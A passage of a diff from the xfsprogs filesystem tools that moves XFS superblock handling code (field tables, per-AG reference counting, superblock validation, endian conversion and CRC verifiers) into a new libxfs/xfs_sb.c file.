offsetof(xfs_sb_t, sb_versionnum), 0 }, - { offsetof(xfs_sb_t, sb_sectsize), 0 }, - { offsetof(xfs_sb_t, sb_inodesize), 0 }, - { offsetof(xfs_sb_t, sb_inopblock), 0 }, - { offsetof(xfs_sb_t, sb_fname[0]), 1 }, - { offsetof(xfs_sb_t, sb_blocklog), 0 }, - { offsetof(xfs_sb_t, sb_sectlog), 0 }, - { offsetof(xfs_sb_t, sb_inodelog), 0 }, - { offsetof(xfs_sb_t, sb_inopblog), 0 }, - { offsetof(xfs_sb_t, sb_agblklog), 0 }, - { offsetof(xfs_sb_t, sb_rextslog), 0 }, - { offsetof(xfs_sb_t, sb_inprogress), 0 }, - { offsetof(xfs_sb_t, sb_imax_pct), 0 }, - { offsetof(xfs_sb_t, sb_icount), 0 }, - { offsetof(xfs_sb_t, sb_ifree), 0 }, - { offsetof(xfs_sb_t, sb_fdblocks), 0 }, - { offsetof(xfs_sb_t, sb_frextents), 0 }, - { offsetof(xfs_sb_t, sb_uquotino), 0 }, - { offsetof(xfs_sb_t, sb_gquotino), 0 }, - { offsetof(xfs_sb_t, sb_qflags), 0 }, - { offsetof(xfs_sb_t, sb_flags), 0 }, - { offsetof(xfs_sb_t, sb_shared_vn), 0 }, - { offsetof(xfs_sb_t, sb_inoalignmt), 0 }, - { offsetof(xfs_sb_t, sb_unit), 0 }, - { offsetof(xfs_sb_t, sb_width), 0 }, - { offsetof(xfs_sb_t, sb_dirblklog), 0 }, - { offsetof(xfs_sb_t, sb_logsectlog), 0 }, - { offsetof(xfs_sb_t, sb_logsectsize),0 }, - { offsetof(xfs_sb_t, sb_logsunit), 0 }, - { offsetof(xfs_sb_t, sb_features2), 0 }, - { offsetof(xfs_sb_t, sb_bad_features2), 0 }, - { offsetof(xfs_sb_t, sb_features_compat), 0 }, - { offsetof(xfs_sb_t, sb_features_ro_compat), 0 }, - { offsetof(xfs_sb_t, sb_features_incompat), 0 }, - { offsetof(xfs_sb_t, sb_features_log_incompat), 0 }, - { offsetof(xfs_sb_t, sb_crc), 0 }, - { offsetof(xfs_sb_t, sb_pad), 0 }, - { offsetof(xfs_sb_t, sb_pquotino), 0 }, - { offsetof(xfs_sb_t, sb_lsn), 0 }, - { sizeof(xfs_sb_t), 0 } -}; - -/* - * Reference counting access wrappers to the perag structures. - * Because we never free per-ag structures, the only thing we - * have to protect against changes is the tree structure itself. - */ -struct xfs_perag * -xfs_perag_get(struct xfs_mount *mp, xfs_agnumber_t agno) -{ - struct xfs_perag *pag; - int ref = 0; - - rcu_read_lock(); - pag = radix_tree_lookup(&mp->m_perag_tree, agno); - if (pag) { - ASSERT(atomic_read(&pag->pag_ref) >= 0); - ref = atomic_inc_return(&pag->pag_ref); - } - rcu_read_unlock(); - trace_xfs_perag_get(mp, agno, ref, _RET_IP_); - return pag; -} - -void -xfs_perag_put(struct xfs_perag *pag) -{ - int ref; - - ASSERT(atomic_read(&pag->pag_ref) > 0); - ref = atomic_dec_return(&pag->pag_ref); - trace_xfs_perag_put(pag->pag_mount, pag->pag_agno, ref, _RET_IP_); -} - -/* - * Check the validity of the SB found. - */ -STATIC int -xfs_mount_validate_sb( - xfs_mount_t *mp, - xfs_sb_t *sbp, - bool check_inprogress, - bool check_version) -{ - - /* - * If the log device and data device have the - * same device number, the log is internal. - * Consequently, the sb_logstart should be non-zero. If - * we have a zero sb_logstart in this case, we may be trying to mount - * a volume filesystem in a non-volume manner. - */ - if (sbp->sb_magicnum != XFS_SB_MAGIC) { - xfs_warn(mp, "bad magic number"); - return XFS_ERROR(EWRONGFS); - } - - - if (!xfs_sb_good_version(sbp)) { - xfs_warn(mp, "bad version"); - return XFS_ERROR(EWRONGFS); - } - - /* - * Version 5 superblock feature mask validation. Reject combinations the - * kernel cannot support up front before checking anything else. - */ - if (check_version && XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5) { - xfs_alert(mp, -"Version 5 superblock detected. xfsprogs has EXPERIMENTAL support enabled!\n" -"Use of these features is at your own risk!"); - - if (xfs_sb_has_compat_feature(sbp, - XFS_SB_FEAT_COMPAT_UNKNOWN)) { - xfs_warn(mp, -"Superblock has unknown compatible features (0x%x) enabled.\n" -"Using a more recent xfsprogs is recommended.", - (sbp->sb_features_compat & - XFS_SB_FEAT_COMPAT_UNKNOWN)); - } - - if (xfs_sb_has_ro_compat_feature(sbp, - XFS_SB_FEAT_RO_COMPAT_UNKNOWN)) { - xfs_warn(mp, -"Superblock has unknown read-only compatible features (0x%x) enabled.\n" -"Using a more recent xfsprogs is recommended.", - (sbp->sb_features_ro_compat & - XFS_SB_FEAT_RO_COMPAT_UNKNOWN)); - } - if (xfs_sb_has_incompat_feature(sbp, - XFS_SB_FEAT_INCOMPAT_UNKNOWN)) { - xfs_warn(mp, -"Superblock has unknown incompatible features (0x%x) enabled.\n" -"Filesystem can not be safely operated on by this xfsprogs installation", - (sbp->sb_features_incompat & - XFS_SB_FEAT_INCOMPAT_UNKNOWN)); - return XFS_ERROR(EINVAL); - } - } - - if (unlikely( - sbp->sb_logstart == 0 && mp->m_logdev_targp == mp->m_ddev_targp)) { - xfs_warn(mp, - "filesystem is marked as having an external log; " - "specify logdev on the mount command line."); - return XFS_ERROR(EINVAL); - } - - if (unlikely( - sbp->sb_logstart != 0 && mp->m_logdev_targp != mp->m_ddev_targp)) { - xfs_warn(mp, - "filesystem is marked as having an internal log; " - "do not specify logdev on the mount command line."); - return XFS_ERROR(EINVAL); - } - - /* - * More sanity checking. Most of these were stolen directly from - * xfs_repair. - */ - if (unlikely( - sbp->sb_agcount <= 0 || - sbp->sb_sectsize < XFS_MIN_SECTORSIZE || - sbp->sb_sectsize > XFS_MAX_SECTORSIZE || - sbp->sb_sectlog < XFS_MIN_SECTORSIZE_LOG || - sbp->sb_sectlog > XFS_MAX_SECTORSIZE_LOG || - sbp->sb_sectsize != (1 << sbp->sb_sectlog) || - sbp->sb_blocksize < XFS_MIN_BLOCKSIZE || - sbp->sb_blocksize > XFS_MAX_BLOCKSIZE || - sbp->sb_blocklog < XFS_MIN_BLOCKSIZE_LOG || - sbp->sb_blocklog > XFS_MAX_BLOCKSIZE_LOG || - sbp->sb_blocksize != (1 << sbp->sb_blocklog) || - sbp->sb_inodesize < XFS_DINODE_MIN_SIZE || - sbp->sb_inodesize > XFS_DINODE_MAX_SIZE || - sbp->sb_inodelog < XFS_DINODE_MIN_LOG || - sbp->sb_inodelog > XFS_DINODE_MAX_LOG || - sbp->sb_inodesize != (1 << sbp->sb_inodelog) || - (sbp->sb_blocklog - sbp->sb_inodelog != sbp->sb_inopblog) || - (sbp->sb_rextsize * sbp->sb_blocksize > XFS_MAX_RTEXTSIZE) || - (sbp->sb_rextsize * sbp->sb_blocksize < XFS_MIN_RTEXTSIZE) || - (sbp->sb_imax_pct > 100 /* zero sb_imax_pct is valid */) || - sbp->sb_dblocks == 0 || - sbp->sb_dblocks > XFS_MAX_DBLOCKS(sbp) || - sbp->sb_dblocks < XFS_MIN_DBLOCKS(sbp))) { - XFS_CORRUPTION_ERROR("SB sanity check failed", - XFS_ERRLEVEL_LOW, mp, sbp); - return XFS_ERROR(EFSCORRUPTED); - } - - /* - * Currently only very few inode sizes are supported. - */ - switch (sbp->sb_inodesize) { - case 256: - case 512: - case 1024: - case 2048: - break; - default: - xfs_warn(mp, "inode size of %d bytes not supported", - sbp->sb_inodesize); - return XFS_ERROR(ENOSYS); - } - - /* - * Version 1 directory format has never worked on Linux. - */ - if (unlikely(!xfs_sb_version_hasdirv2(sbp))) { - xfs_warn(mp, "file system using version 1 directory format"); - return XFS_ERROR(ENOSYS); - } - - return 0; -} - -void -xfs_sb_from_disk( - xfs_sb_t *to, - xfs_dsb_t *from) -{ - to->sb_magicnum = be32_to_cpu(from->sb_magicnum); - to->sb_blocksize = be32_to_cpu(from->sb_blocksize); - to->sb_dblocks = be64_to_cpu(from->sb_dblocks); - to->sb_rblocks = be64_to_cpu(from->sb_rblocks); - to->sb_rextents = be64_to_cpu(from->sb_rextents); - memcpy(&to->sb_uuid, &from->sb_uuid, sizeof(to->sb_uuid)); - to->sb_logstart = be64_to_cpu(from->sb_logstart); - to->sb_rootino = be64_to_cpu(from->sb_rootino); - to->sb_rbmino = be64_to_cpu(from->sb_rbmino); - to->sb_rsumino = be64_to_cpu(from->sb_rsumino); - to->sb_rextsize = be32_to_cpu(from->sb_rextsize); - to->sb_agblocks = be32_to_cpu(from->sb_agblocks); - to->sb_agcount = be32_to_cpu(from->sb_agcount); - to->sb_rbmblocks = be32_to_cpu(from->sb_rbmblocks); - to->sb_logblocks = be32_to_cpu(from->sb_logblocks); - to->sb_versionnum = be16_to_cpu(from->sb_versionnum); - to->sb_sectsize = be16_to_cpu(from->sb_sectsize); - to->sb_inodesize = be16_to_cpu(from->sb_inodesize); - to->sb_inopblock = be16_to_cpu(from->sb_inopblock); - memcpy(&to->sb_fname, &from->sb_fname, sizeof(to->sb_fname)); - to->sb_blocklog = from->sb_blocklog; - to->sb_sectlog = from->sb_sectlog; - to->sb_inodelog = from->sb_inodelog; - to->sb_inopblog = from->sb_inopblog; - to->sb_agblklog = from->sb_agblklog; - to->sb_rextslog = from->sb_rextslog; - to->sb_inprogress = from->sb_inprogress; - to->sb_imax_pct = from->sb_imax_pct; - to->sb_icount = be64_to_cpu(from->sb_icount); - to->sb_ifree = be64_to_cpu(from->sb_ifree); - to->sb_fdblocks = be64_to_cpu(from->sb_fdblocks); - to->sb_frextents = be64_to_cpu(from->sb_frextents); - to->sb_uquotino = be64_to_cpu(from->sb_uquotino); - to->sb_gquotino = be64_to_cpu(from->sb_gquotino); - to->sb_qflags = be16_to_cpu(from->sb_qflags); - to->sb_flags = from->sb_flags; - to->sb_shared_vn = from->sb_shared_vn; - to->sb_inoalignmt = be32_to_cpu(from->sb_inoalignmt); - to->sb_unit = be32_to_cpu(from->sb_unit); - to->sb_width = be32_to_cpu(from->sb_width); - to->sb_dirblklog = from->sb_dirblklog; - to->sb_logsectlog = from->sb_logsectlog; - to->sb_logsectsize = be16_to_cpu(from->sb_logsectsize); - to->sb_logsunit = be32_to_cpu(from->sb_logsunit); - to->sb_features2 = be32_to_cpu(from->sb_features2); - to->sb_bad_features2 = be32_to_cpu(from->sb_bad_features2); - to->sb_features_compat = be32_to_cpu(from->sb_features_compat); - to->sb_features_ro_compat = be32_to_cpu(from->sb_features_ro_compat); - to->sb_features_incompat = be32_to_cpu(from->sb_features_incompat); - to->sb_features_log_incompat = - be32_to_cpu(from->sb_features_log_incompat); - to->sb_pad = 0; - to->sb_pquotino = be64_to_cpu(from->sb_pquotino); - to->sb_lsn = be64_to_cpu(from->sb_lsn); -} - -/* - * Copy in core superblock to ondisk one. - * - * The fields argument is mask of superblock fields to copy. - */ -void -xfs_sb_to_disk( - xfs_dsb_t *to, - xfs_sb_t *from, - __int64_t fields) -{ - xfs_caddr_t to_ptr = (xfs_caddr_t)to; - xfs_caddr_t from_ptr = (xfs_caddr_t)from; - xfs_sb_field_t f; - int first; - int size; - - ASSERT(fields); - if (!fields) - return; - - while (fields) { - f = (xfs_sb_field_t)xfs_lowbit64((__uint64_t)fields); - first = xfs_sb_info[f].offset; - size = xfs_sb_info[f + 1].offset - first; - - ASSERT(xfs_sb_info[f].type == 0 || xfs_sb_info[f].type == 1); - - if (size == 1 || xfs_sb_info[f].type == 1) { - memcpy(to_ptr + first, from_ptr + first, size); - } else { - switch (size) { - case 2: - *(__be16 *)(to_ptr + first) = - cpu_to_be16(*(__u16 *)(from_ptr + first)); - break; - case 4: - *(__be32 *)(to_ptr + first) = - cpu_to_be32(*(__u32 *)(from_ptr + first)); - break; - case 8: - *(__be64 *)(to_ptr + first) = - cpu_to_be64(*(__u64 *)(from_ptr + first)); - break; - default: - ASSERT(0); - } - } - - fields &= ~(1LL << f); - } -} - -static int -xfs_sb_verify( - struct xfs_buf *bp, - bool check_version) -{ - struct xfs_mount *mp = bp->b_target->bt_mount; - struct xfs_sb sb; - - xfs_sb_from_disk(&sb, XFS_BUF_TO_SBP(bp)); - - /* - * Only check the in progress field for the primary superblock as - * mkfs.xfs doesn't clear it from secondary superblocks. - */ - return xfs_mount_validate_sb(mp, &sb, bp->b_bn == XFS_SB_DADDR, - check_version); -} - -/* - * If the superblock has the CRC feature bit set or the CRC field is non-null, - * check that the CRC is valid. We check the CRC field is non-null because a - * single bit error could clear the feature bit and unused parts of the - * superblock are supposed to be zero. Hence a non-null crc field indicates that - * we've potentially lost a feature bit and we should check it anyway. - */ -static void -xfs_sb_read_verify( - struct xfs_buf *bp) -{ - struct xfs_mount *mp = bp->b_target->bt_mount; - struct xfs_dsb *dsb = XFS_BUF_TO_SBP(bp); - int error; - - /* - * open code the version check to avoid needing to convert the entire - * superblock from disk order just to check the version number - */ - if (dsb->sb_magicnum == cpu_to_be32(XFS_SB_MAGIC) && - (((be16_to_cpu(dsb->sb_versionnum) & XFS_SB_VERSION_NUMBITS) == - XFS_SB_VERSION_5) || - dsb->sb_crc != 0)) { - - if (!xfs_verify_cksum(bp->b_addr, be16_to_cpu(dsb->sb_sectsize), - offsetof(struct xfs_sb, sb_crc))) { - error = EFSCORRUPTED; - goto out_error; - } - } - error = xfs_sb_verify(bp, true); - -out_error: - if (error) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); - xfs_buf_ioerror(bp, error); - } -} - -/* - * We may be probed for a filesystem match, so we may not want to emit - * messages when the superblock buffer is not actually an XFS superblock. - * If we find an XFS superblock, the run a normal, noisy mount because we are - * really going to mount it and want to know about errors. - */ -static void -xfs_sb_quiet_read_verify( - struct xfs_buf *bp) -{ - struct xfs_dsb *dsb = XFS_BUF_TO_SBP(bp); - - - if (dsb->sb_magicnum == cpu_to_be32(XFS_SB_MAGIC)) { - /* XFS filesystem, verify noisily! */ - xfs_sb_read_verify(bp); - return; - } - /* quietly fail */ - xfs_buf_ioerror(bp, EWRONGFS); -} - -static void -xfs_sb_write_verify( - struct xfs_buf *bp) -{ - struct xfs_mount *mp = bp->b_target->bt_mount; - struct xfs_buf_log_item *bip = bp->b_fspriv; - int error; - - error = xfs_sb_verify(bp, false); - if (error) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); - xfs_buf_ioerror(bp, error); - return; - } - - if (!xfs_sb_version_hascrc(&mp->m_sb)) - return; - - if (bip) - XFS_BUF_TO_SBP(bp)->sb_lsn = cpu_to_be64(bip->bli_item.li_lsn); - - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_sb, sb_crc)); -} - -const struct xfs_buf_ops xfs_sb_buf_ops = { - .verify_read = xfs_sb_read_verify, - .verify_write = xfs_sb_write_verify, -}; - -static const struct xfs_buf_ops xfs_sb_quiet_buf_ops = { - .verify_read = xfs_sb_quiet_read_verify, - .verify_write = xfs_sb_write_verify, -}; - -/* - * xfs_mount_common - * - * Mount initialization code establishing various mount - * fields from the superblock associated with the given - * mount structure - * - * Note: this requires user-space public scope for libxfs_mount - */ -void -xfs_mount_common(xfs_mount_t *mp, xfs_sb_t *sbp) -{ - mp->m_agfrotor = mp->m_agirotor = 0; - spin_lock_init(&mp->m_agirotor_lock); - mp->m_maxagi = mp->m_sb.sb_agcount; - mp->m_blkbit_log = sbp->sb_blocklog + XFS_NBBYLOG; - mp->m_blkbb_log = sbp->sb_blocklog - BBSHIFT; - mp->m_sectbb_log = sbp->sb_sectlog - BBSHIFT; - mp->m_agno_log = xfs_highbit32(sbp->sb_agcount - 1) + 1; - mp->m_agino_log = sbp->sb_inopblog + sbp->sb_agblklog; - mp->m_blockmask = sbp->sb_blocksize - 1; - mp->m_blockwsize = sbp->sb_blocksize >> XFS_WORDLOG; - mp->m_blockwmask = mp->m_blockwsize - 1; - - mp->m_alloc_mxr[0] = xfs_allocbt_maxrecs(mp, sbp->sb_blocksize, 1); - mp->m_alloc_mxr[1] = xfs_allocbt_maxrecs(mp, sbp->sb_blocksize, 0); - mp->m_alloc_mnr[0] = mp->m_alloc_mxr[0] / 2; - mp->m_alloc_mnr[1] = mp->m_alloc_mxr[1] / 2; - - mp->m_inobt_mxr[0] = xfs_inobt_maxrecs(mp, sbp->sb_blocksize, 1); - mp->m_inobt_mxr[1] = xfs_inobt_maxrecs(mp, sbp->sb_blocksize, 0); - mp->m_inobt_mnr[0] = mp->m_inobt_mxr[0] / 2; - mp->m_inobt_mnr[1] = mp->m_inobt_mxr[1] / 2; - - mp->m_bmap_dmxr[0] = xfs_bmbt_maxrecs(mp, sbp->sb_blocksize, 1); - mp->m_bmap_dmxr[1] = xfs_bmbt_maxrecs(mp, sbp->sb_blocksize, 0); - mp->m_bmap_dmnr[0] = mp->m_bmap_dmxr[0] / 2; - mp->m_bmap_dmnr[1] = mp->m_bmap_dmxr[1] / 2; - - mp->m_bsize = XFS_FSB_TO_BB(mp, 1); - mp->m_ialloc_inos = (int)MAX((__uint16_t)XFS_INODES_PER_CHUNK, - sbp->sb_inopblock); - mp->m_ialloc_blks = mp->m_ialloc_inos >> sbp->sb_inopblog; -} - -/* - * xfs_initialize_perag_data - * - * Read in each per-ag structure so we can count up the number of - * allocated inodes, free inodes and used filesystem blocks as this - * information is no longer persistent in the superblock. Once we have - * this information, write it into the in-core superblock structure. - * - * Note: this requires user-space public scope for libxfs_mount - */ -int -xfs_initialize_perag_data(xfs_mount_t *mp, xfs_agnumber_t agcount) -{ - xfs_agnumber_t index; - xfs_perag_t *pag; - xfs_sb_t *sbp = &mp->m_sb; - uint64_t ifree = 0; - uint64_t ialloc = 0; - uint64_t bfree = 0; - uint64_t bfreelst = 0; - uint64_t btree = 0; - int error; - - for (index = 0; index < agcount; index++) { - /* - * read the agf, then the agi. This gets us - * all the information we need and populates the - * per-ag structures for us. - */ - error = xfs_alloc_pagf_init(mp, NULL, index, 0); - if (error) - return error; - - error = xfs_ialloc_pagi_init(mp, NULL, index); - if (error) - return error; - pag = xfs_perag_get(mp, index); - ifree += pag->pagi_freecount; - ialloc += pag->pagi_count; - bfree += pag->pagf_freeblks; - bfreelst += pag->pagf_flcount; - btree += pag->pagf_btreeblks; - xfs_perag_put(pag); - } - /* - * Overwrite incore superblock counters with just-read data - */ - spin_lock(&mp->m_sb_lock); - sbp->sb_ifree = ifree; - sbp->sb_icount = ialloc; - sbp->sb_fdblocks = bfree + bfreelst + btree; - spin_unlock(&mp->m_sb_lock); - - /* Fixup the per-cpu counters as well. */ - xfs_icsb_reinit_counters(mp); - - return 0; -} - -/* - * xfs_mod_sb() can be used to copy arbitrary changes to the - * in-core superblock into the superblock buffer to be logged. - * It does not provide the higher level of locking that is - * needed to protect the in-core superblock from concurrent - * access. - */ -void -xfs_mod_sb(xfs_trans_t *tp, __int64_t fields) -{ - xfs_buf_t *bp; - int first; - int last; - xfs_mount_t *mp; - xfs_sb_field_t f; - - ASSERT(fields); - if (!fields) - return; - mp = tp->t_mountp; - bp = xfs_trans_getsb(tp, mp, 0); - first = sizeof(xfs_sb_t); - last = 0; - - /* translate/copy */ - xfs_sb_to_disk(XFS_BUF_TO_SBP(bp), &mp->m_sb, fields); - - /* find modified range */ - f = (xfs_sb_field_t)xfs_highbit64((__uint64_t)fields); - ASSERT((1LL << f) & XFS_SB_MOD_BITS); - last = xfs_sb_info[f + 1].offset - 1; - - f = (xfs_sb_field_t)xfs_lowbit64((__uint64_t)fields); - ASSERT((1LL << f) & XFS_SB_MOD_BITS); - first = xfs_sb_info[f].offset; - - xfs_trans_buf_set_type(tp, bp, XFS_BLFT_SB_BUF); - xfs_trans_log_buf(tp, bp, first, last); -} diff --git a/libxfs/xfs_sb.c b/libxfs/xfs_sb.c new file mode 100644 index 0000000..869fb76 --- /dev/null +++ b/libxfs/xfs_sb.c @@ -0,0 +1,721 @@ +/* + * Copyright (c) 2000-2005 Silicon Graphics, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include + +/* + * Physical superblock buffer manipulations. Shared with libxfs in userspace. + */ + +static const struct { + short offset; + short type; /* 0 = integer + * 1 = binary / string (no translation) + */ +} xfs_sb_info[] = { + { offsetof(xfs_sb_t, sb_magicnum), 0 }, + { offsetof(xfs_sb_t, sb_blocksize), 0 }, + { offsetof(xfs_sb_t, sb_dblocks), 0 }, + { offsetof(xfs_sb_t, sb_rblocks), 0 }, + { offsetof(xfs_sb_t, sb_rextents), 0 }, + { offsetof(xfs_sb_t, sb_uuid), 1 }, + { offsetof(xfs_sb_t, sb_logstart), 0 }, + { offsetof(xfs_sb_t, sb_rootino), 0 }, + { offsetof(xfs_sb_t, sb_rbmino), 0 }, + { offsetof(xfs_sb_t, sb_rsumino), 0 }, + { offsetof(xfs_sb_t, sb_rextsize), 0 }, + { offsetof(xfs_sb_t, sb_agblocks), 0 }, + { offsetof(xfs_sb_t, sb_agcount), 0 }, + { offsetof(xfs_sb_t, sb_rbmblocks), 0 }, + { offsetof(xfs_sb_t, sb_logblocks), 0 }, + { offsetof(xfs_sb_t, sb_versionnum), 0 }, + { offsetof(xfs_sb_t, sb_sectsize), 0 }, + { offsetof(xfs_sb_t, sb_inodesize), 0 }, + { offsetof(xfs_sb_t, sb_inopblock), 0 }, + { offsetof(xfs_sb_t, sb_fname[0]), 1 }, + { offsetof(xfs_sb_t, sb_blocklog), 0 }, + { offsetof(xfs_sb_t, sb_sectlog), 0 }, + { offsetof(xfs_sb_t, sb_inodelog), 0 }, + { offsetof(xfs_sb_t, sb_inopblog), 0 }, + { offsetof(xfs_sb_t, sb_agblklog), 0 }, + { offsetof(xfs_sb_t, sb_rextslog), 0 }, + { offsetof(xfs_sb_t, sb_inprogress), 0 }, + { offsetof(xfs_sb_t, sb_imax_pct), 0 }, + { offsetof(xfs_sb_t, sb_icount), 0 }, + { offsetof(xfs_sb_t, sb_ifree), 0 }, + { offsetof(xfs_sb_t, sb_fdblocks), 0 }, + { offsetof(xfs_sb_t, sb_frextents), 0 }, + { offsetof(xfs_sb_t, sb_uquotino), 0 }, + { offsetof(xfs_sb_t, sb_gquotino), 0 }, + { offsetof(xfs_sb_t, sb_qflags), 0 }, + { offsetof(xfs_sb_t, sb_flags), 0 }, + { offsetof(xfs_sb_t, sb_shared_vn), 0 }, + { offsetof(xfs_sb_t, sb_inoalignmt), 0 }, + { offsetof(xfs_sb_t, sb_unit), 0 }, + { offsetof(xfs_sb_t, sb_width), 0 }, + { offsetof(xfs_sb_t, sb_dirblklog), 0 }, + { offsetof(xfs_sb_t, sb_logsectlog), 0 }, + { offsetof(xfs_sb_t, sb_logsectsize),0 }, + { offsetof(xfs_sb_t, sb_logsunit), 0 }, + { offsetof(xfs_sb_t, sb_features2), 0 }, + { offsetof(xfs_sb_t, sb_bad_features2), 0 }, + { offsetof(xfs_sb_t, sb_features_compat), 0 }, + { offsetof(xfs_sb_t, sb_features_ro_compat), 0 }, + { offsetof(xfs_sb_t, sb_features_incompat), 0 }, + { offsetof(xfs_sb_t, sb_features_log_incompat), 0 }, + { offsetof(xfs_sb_t, sb_crc), 0 }, + { offsetof(xfs_sb_t, sb_pad), 0 }, + { offsetof(xfs_sb_t, sb_pquotino), 0 }, + { offsetof(xfs_sb_t, sb_lsn), 0 }, + { sizeof(xfs_sb_t), 0 } +}; + +/* + * Reference counting access wrappers to the perag structures. + * Because we never free per-ag structures, the only thing we + * have to protect against changes is the tree structure itself. + */ +struct xfs_perag * +xfs_perag_get( + struct xfs_mount *mp, + xfs_agnumber_t agno) +{ + struct xfs_perag *pag; + int ref = 0; + + rcu_read_lock(); + pag = radix_tree_lookup(&mp->m_perag_tree, agno); + if (pag) { + ASSERT(atomic_read(&pag->pag_ref) >= 0); + ref = atomic_inc_return(&pag->pag_ref); + } + rcu_read_unlock(); + trace_xfs_perag_get(mp, agno, ref, _RET_IP_); + return pag; +} + +/* + * search from @first to find the next perag with the given tag set. + */ +struct xfs_perag * +xfs_perag_get_tag( + struct xfs_mount *mp, + xfs_agnumber_t first, + int tag) +{ + struct xfs_perag *pag; + int found; + int ref; + + rcu_read_lock(); + found = radix_tree_gang_lookup_tag(&mp->m_perag_tree, + (void **)&pag, first, 1, tag); + if (found <= 0) { + rcu_read_unlock(); + return NULL; + } + ref = atomic_inc_return(&pag->pag_ref); + rcu_read_unlock(); + trace_xfs_perag_get_tag(mp, pag->pag_agno, ref, _RET_IP_); + return pag; +} + +void +xfs_perag_put( + struct xfs_perag *pag) +{ + int ref; + + ASSERT(atomic_read(&pag->pag_ref) > 0); + ref = atomic_dec_return(&pag->pag_ref); + trace_xfs_perag_put(pag->pag_mount, pag->pag_agno, ref, _RET_IP_); +} + +/* + * Check the validity of the SB found. + */ +STATIC int +xfs_mount_validate_sb( + xfs_mount_t *mp, + xfs_sb_t *sbp, + bool check_inprogress, + bool check_version) +{ + + /* + * If the log device and data device have the + * same device number, the log is internal. + * Consequently, the sb_logstart should be non-zero. If + * we have a zero sb_logstart in this case, we may be trying to mount + * a volume filesystem in a non-volume manner. + */ + if (sbp->sb_magicnum != XFS_SB_MAGIC) { + xfs_warn(mp, "bad magic number"); + return XFS_ERROR(EWRONGFS); + } + + + if (!xfs_sb_good_version(sbp)) { + xfs_warn(mp, "bad version"); + return XFS_ERROR(EWRONGFS); + } + + if ((sbp->sb_qflags & (XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD)) && + (sbp->sb_qflags & (XFS_PQUOTA_ENFD | XFS_GQUOTA_ENFD | + XFS_PQUOTA_CHKD | XFS_GQUOTA_CHKD))) { + xfs_notice(mp, +"Super block has XFS_OQUOTA bits along with XFS_PQUOTA and/or XFS_GQUOTA bits.\n"); + return XFS_ERROR(EFSCORRUPTED); + } + + /* + * Version 5 superblock feature mask validation. Reject combinations the + * kernel cannot support up front before checking anything else. For + * write validation, we don't need to check feature masks. + */ + if (check_version && XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5) { + xfs_alert(mp, +"Version 5 superblock detected. xfsprogs has EXPERIMENTAL support enabled!\n" +"Use of these features is at your own risk!"); + + if (xfs_sb_has_compat_feature(sbp, + XFS_SB_FEAT_COMPAT_UNKNOWN)) { + xfs_warn(mp, +"Superblock has unknown compatible features (0x%x) enabled.\n" +"Using a more recent xfsprogs is recommended.", + (sbp->sb_features_compat & + XFS_SB_FEAT_COMPAT_UNKNOWN)); + } + + if (xfs_sb_has_ro_compat_feature(sbp, + XFS_SB_FEAT_RO_COMPAT_UNKNOWN)) { + xfs_warn(mp, +"Superblock has unknown read-only compatible features (0x%x) enabled.\n" +"Using a more recent xfsprogs is recommended.", + (sbp->sb_features_ro_compat & + XFS_SB_FEAT_RO_COMPAT_UNKNOWN)); + } + if (xfs_sb_has_incompat_feature(sbp, + XFS_SB_FEAT_INCOMPAT_UNKNOWN)) { + xfs_warn(mp, +"Superblock has unknown incompatible features (0x%x) enabled.\n" +"Filesystem can not be safely operated on by this xfsprogs installation", + (sbp->sb_features_incompat & + XFS_SB_FEAT_INCOMPAT_UNKNOWN)); + return XFS_ERROR(EINVAL); + } + } + + if (unlikely( + sbp->sb_logstart == 0 && mp->m_logdev_targp == mp->m_ddev_targp)) { + xfs_warn(mp, + "filesystem is marked as having an external log; " + "specify logdev on the mount command line."); + return XFS_ERROR(EINVAL); + } + + if (unlikely( + sbp->sb_logstart != 0 && mp->m_logdev_targp != mp->m_ddev_targp)) { + xfs_warn(mp, + "filesystem is marked as having an internal log; " + "do not specify logdev on the mount command line."); + return XFS_ERROR(EINVAL); + } + + /* + * More sanity checking. Most of these were stolen directly from + * xfs_repair. + */ + if (unlikely( + sbp->sb_agcount <= 0 || + sbp->sb_sectsize < XFS_MIN_SECTORSIZE || + sbp->sb_sectsize > XFS_MAX_SECTORSIZE || + sbp->sb_sectlog < XFS_MIN_SECTORSIZE_LOG || + sbp->sb_sectlog > XFS_MAX_SECTORSIZE_LOG || + sbp->sb_sectsize != (1 << sbp->sb_sectlog) || + sbp->sb_blocksize < XFS_MIN_BLOCKSIZE || + sbp->sb_blocksize > XFS_MAX_BLOCKSIZE || + sbp->sb_blocklog < XFS_MIN_BLOCKSIZE_LOG || + sbp->sb_blocklog > XFS_MAX_BLOCKSIZE_LOG || + sbp->sb_blocksize != (1 << sbp->sb_blocklog) || + sbp->sb_inodesize < XFS_DINODE_MIN_SIZE || + sbp->sb_inodesize > XFS_DINODE_MAX_SIZE || + sbp->sb_inodelog < XFS_DINODE_MIN_LOG || + sbp->sb_inodelog > XFS_DINODE_MAX_LOG || + sbp->sb_inodesize != (1 << sbp->sb_inodelog) || + (sbp->sb_blocklog - sbp->sb_inodelog != sbp->sb_inopblog) || + (sbp->sb_rextsize * sbp->sb_blocksize > XFS_MAX_RTEXTSIZE) || + (sbp->sb_rextsize * sbp->sb_blocksize < XFS_MIN_RTEXTSIZE) || + (sbp->sb_imax_pct > 100 /* zero sb_imax_pct is valid */) || + sbp->sb_dblocks == 0 || + sbp->sb_dblocks > XFS_MAX_DBLOCKS(sbp) || + sbp->sb_dblocks < XFS_MIN_DBLOCKS(sbp))) { + XFS_CORRUPTION_ERROR("SB sanity check failed", + XFS_ERRLEVEL_LOW, mp, sbp); + return XFS_ERROR(EFSCORRUPTED); + } + + /* + * Currently only very few inode sizes are supported. + */ + switch (sbp->sb_inodesize) { + case 256: + case 512: + 